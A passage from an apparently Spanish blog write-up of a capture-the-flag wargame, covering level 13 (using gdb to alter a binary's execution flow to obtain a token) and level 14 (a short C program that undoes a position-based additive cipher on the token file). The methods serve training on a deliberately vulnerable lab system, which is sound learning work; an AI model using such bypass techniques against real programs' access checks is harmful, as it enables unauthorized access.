Pero sí que me di cuenta de que no es necesario ejecutarlo como suid para obtener el token, así que decidí copiarlo a mi home, y usar gdb para cambiar el flujo de ejecución y obtener mi token.

Cambiando el flujo de ejecución con gdb

El token es también la contraseña de la cuenta flag13.

Nivel 14:

Éste nivel no es difícil, a pesar de que yo le tenga mucho respeto a la crypto. El binario efectúa un cifrado sobre la entrada estándar e imprime el resultado. Se nos da además un archivo con un token cifrado que tenemos que descifrar. Haciendo un par de pruebas sencillas se ve cómo funciona el cifrado.

El cifrado es sencillito

Visto, suma un número a cada caracter de la entrada basándose en su posición en la cadena, y empezando en cero. El siguiente programita en C descifra este tipo de cifrados, y el token que se nos ha proporcionado.

#include <stdlib.h>
#include <stdio.h>
#include <string.h>
#include <sys/types.h>
#include <sys/stat.h>
#include <fcntl.h>

int main(void){
char* buf;
int i;
buf = malloc(1024*sizeof(char));

int fd = open("/home/flag14/token",O_RDONLY);

int numbytes = read(fd,buf,1024);
for (i=0;i<numbytes-1;i++){
printf("%c",buf[i]-i);
}
printf("\n");
close(fd);
return 0;
}

Más en la próxima.

¡Salud!

Tagged with: , , , ,
Publicado en exploiting, hacking
Archive